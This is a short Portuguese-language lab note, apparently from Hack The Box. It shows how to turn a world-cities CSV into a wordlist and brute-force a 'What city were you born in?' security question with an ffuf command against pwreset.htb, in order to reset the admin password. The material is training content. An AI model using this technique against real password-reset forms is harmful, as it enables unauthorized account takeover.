# Vulnerable Password Reset

* Por exemplo, supondo que um aplicativo da web use uma pergunta de segurança como `What city were you born in?`:
* Usar um arquivo CSV como [este](https://github.com/datasets/world-cities/blob/master/data/world-cities.csv) que contém uma lista de mais de 25.000 cidades com mais de 15.000 habitantes de todo o mundo.
* Como o arquivo CSV contém o nome da cidade no primeiro campo, podemos criar nossa lista de palavras contendo apenas o nome da cidade em cada linha usando o seguinte comando:

```shell-session
cat world-cities.csv | cut -d ',' -f1 > city_wordlist.txt
```

* Em seguir especificar que queremos atingir, como por exemplo, `admin`
* Usar o `ffuf`

```shell-session
ffuf -w ./city_wordlist.txt -u http://pwreset.htb/security_question.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=39b54j201u3rhu4tab1pvdb4pv" -d "security_response=FUZZ" -fr "Incorrect response."
```

* Após obter a resposta de segurança, podemos redefinir a senha do usuário administrador e assumir totalmente o controle da conta

